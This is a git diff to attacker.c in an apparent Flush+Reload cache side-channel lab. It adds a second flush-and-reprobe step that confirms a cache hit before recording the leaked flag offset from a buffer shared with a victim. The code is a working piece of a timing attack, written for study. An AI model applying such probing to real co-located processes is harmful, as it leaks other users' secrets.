diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c index b575370..4fbcc2f 100644 --- a/Part2-FlushReload/attacker.c +++ b/Part2-FlushReload/attacker.c @@ -18,6 +18,7 @@ int main() { int index = -1; int flag = -1; CYCLES time = -1; + CYCLES new_time = -1; int offset = 0; int new_offset = 0; // buf is shared between the attacker and the victim @@ -38,9 +39,14 @@ int main() { } time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); if(time < CACHE_HIT_THRESHOLD) { - flag = offset; - index = i; - break; + clflush((ADDR_PTR)buf + offset * 128); + for(int i = 0; i < WAIT_TIME; i++); + new_time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128); + if(new_time < CACHE_HIT_THRESHOLD) { + flag = offset; + index = i; + break; + } } } printf("Flag: %d\n", flag);